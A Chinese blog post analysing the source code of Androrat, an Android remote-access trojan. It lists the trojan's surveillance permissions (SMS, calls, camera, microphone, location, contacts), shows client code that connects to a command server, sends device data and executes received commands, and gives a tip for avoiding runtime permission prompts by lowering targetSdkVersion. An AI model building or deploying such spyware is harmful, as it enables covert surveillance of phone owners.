Android开发Android技术知识Android开发经验谈

Android木马——Androrat源码解析

2018-05-28  本文已影响49人  正规程序员

Androrat原本是一个对Android设备进行远程管理的工具,相当于是一个木马程序。

Androrat的工作模式是C/S模式。在Android设备上安装Androrat的Client端,在服务器上配置Server端。Client端循环捕获从Client发送的指令,并做相应的操作,完成之后返回给Server数据,Server端负责展示接收的数据。

因此,Client端需要配置Server端的ip和port,配置相应的权限(Android API 23以上需要动态申请权限),开启服务Service。

主要功能

Androrat 核心模块

Android端需申请的权限

<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/> 
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> 
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> 
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.VIBRATE"/>

从上面可知,这些权限包括通话、短信,相机,联网,位置,录音,读写,开机启动,通讯录等。在兼容Android API 23以上版本时,需要添加权限检测及动态权限申请逻辑方可正常使用。

LauncherActivity

此类为启动类,主要职责是开启Client服务。Client端手动配置IP和Port。

Client = new Intent(this, Client.class);
Client.setAction(LauncherActivity.class.getName());
btnStart.setOnClickListener(new View.OnClickListener() {
      public void onClick(View view) {
           Client.putExtra("IP", ipfield.getText().toString());
           Client.putExtra("PORT", new Integer(portfield.getText().toString()));
           startService(Client);
           btnStart.setEnabled(false);
           btnStop.setEnabled(true);
           //finish();                
       }
});

Client

onCreate()方法实例化SystemInfo、ProcessCommand类。

public void onCreate() {
        Log.i(TAG, "In onCreate");
        infos = new SystemInfo(this);
        procCmd = new ProcessCommand(this);
        
        loadPreferences();
}

SystemInfo类:获取设备基本信息;
ProcessCommand类:处理从Server端发来的指令;
loadPreferences():初始化ip、port,设置通话白名单、短信白名单和短信内容关键字拦截等。

onStartCommand()内代码太长,此处分步解析。

从Intent中获取ip,port。

f(intent == null)
    return START_STICKY;
String who = intent.getAction();
Log.i(TAG, "onStartCommand by: "+ who); 
 
if (intent.hasExtra("IP"))
    this.ip = intent.getExtras().getString("IP");
if (intent.hasExtra("PORT"))
    this.port = intent.getExtras().getInt("PORT");

监听广播,建立client与server端连接,发送设备基本信息。具体逻辑已在源码中//注释。

if(!isRunning) {
    //广播监听网络变化
    IntentFilter filterc = new IntentFilter("android.net.conn.CONNECTIVITY_CHANGE");
    registerReceiver(ConnectivityCheckReceiver, filterc);
    isRunning = true;

    //Connection负责通过socket与server端连接
    conn = new Connection(ip,port,this);
     
    if(waitTrigger) {
         //注册来电、短信监听
         registerSMSAndCall();
    }else {
        Log.i(TAG,"Try to connect to "+ip+":"+port);
        if(conn.connect()) {
            //实例化CommandPacket,处理服务端指令
            packet = new CommandPacket();
            
            //异步循环捕获server发出的指令,之后在Handler中处理指令
            readthread = new Thread(new Runnable() { 
                public void run() { 
                    waitInstruction(); 
                } 
            });
            readthread.start(); 
            
            //给server端发送设备基本信息
            CommandPacket pack = new CommandPacket(Protocol.CONNECT, 0, infos.getBasicInfos());
            handleData(0,pack.build()); 
                            
            //gps = new GPSListener(this, LocationManager.NETWORK_PROVIDER,(short)4); 
            isListening = true;
            if(waitTrigger) {
                //若已设置来电、短信监听触发client服务启动,则此处无需监听,可断开
                unregisterReceiver(SMSreceiver); 
                unregisterReceiver(Callreceiver);
                waitTrigger = false;
            }
        }else {
            if(isConnected) {
                //重设,重连 
                resetConnectionAttempts();
                reconnectionAttempts();
            }else { 
                Log.w(TAG,"Not Connected wait a Network update");
            }
        }
    }
}

isRunning为false的分支逻辑相似,连接服务器、获取指令,重连(无重设)。

waitInstruction()方法循环捕获从server端发来的指令。

public void waitInstruction() { 
    try {
        for(;;) {
            if(stop){
                 break;
            }
            //接收服务器指令  
            conn.getInstruction() ;
        }
    }catch(Exception e) { 
        isListening = false;
        resetConnectionAttempts();
        reconnectionAttempts();
        if(waitTrigger) {
            registerSMSAndCall();
        }
    }
}

Connection类的getInstruction()方法:读取缓冲区数据并解码。

public ByteBuffer getInstruction() throws Exception{
        readInstruction = receive.read();
        if(dem.receive(readInstruction)){
            readInstruction.compact();
        }else{
            readInstruction.clear();
        }
        return readInstruction;
    }

waitInstruction()所在线程捕获指令后,通过接口回调给Handler发送数据。

@Override
public void Storage(TransportPacket p, String i) {
        try{
            packet = new CommandPacket(); 
            packet.parse(p.getData());
            
            Message mess = new Message();
            Bundle b = new Bundle();
            b.putShort("command", packet.getCommand());
            b.putByteArray("arguments", packet.getArguments());
            b.putInt("chan", packet.getTargetChannel());
            mess.setData(b);
            handler.sendMessage(mess);
        }catch(Exception e){
            System.out.println("Androrat.Client.storage : pas une commande");
        }       
    }

Handler接收数据

private Handler handler = new Handler() {
     
    public void handleMessage(Message msg) {
        Bundle b = msg.getData();
        processCommand(b);
    }
};

processCommand()方法中调用ProcessCommand类的process()方法匹配对应指令并处理

    public void processCommand(Bundle b){
        try{
procCmd.process(b.getShort("command"),b.getByteArray("arguments"),b.getInt("chan"));
        }catch(Exception e) {
            sendError("Error on Client:"+e.getMessage());
        }
    }

ProcessCommand类的process()就是if-else判断不同指令并做相应处理。

Library包介绍

绕过动态权限申请的小窍门

突然发现该源码中的Androrat.apk运行在 Android 8.0手机上可以绕过权限动态申请。反编译该apk后发现,其targetSdkVersion设置< 23了。。。。。

补充知识点:
targetSdkVersion 是 Android 系统提供前向兼容的主要手段。随着 Android 系统的升级,某个系统的 API 或者模块的行为可能会发生改变,但只要 APK 的 targetSdkVersion 不变,即使这个 APK 安装在新 Android 系统上,其行为还是保持老的系统上的行为,这样就保证了系统对老应用的前向兼容性。

所以,如果要绕过动态权限申请,可以设置targetSdkVersion < 23 ,但是同时也意味着妳的APP将无法使用最新的API的特性。

引用

Androrat

上一篇下一篇

猜你喜欢

热点阅读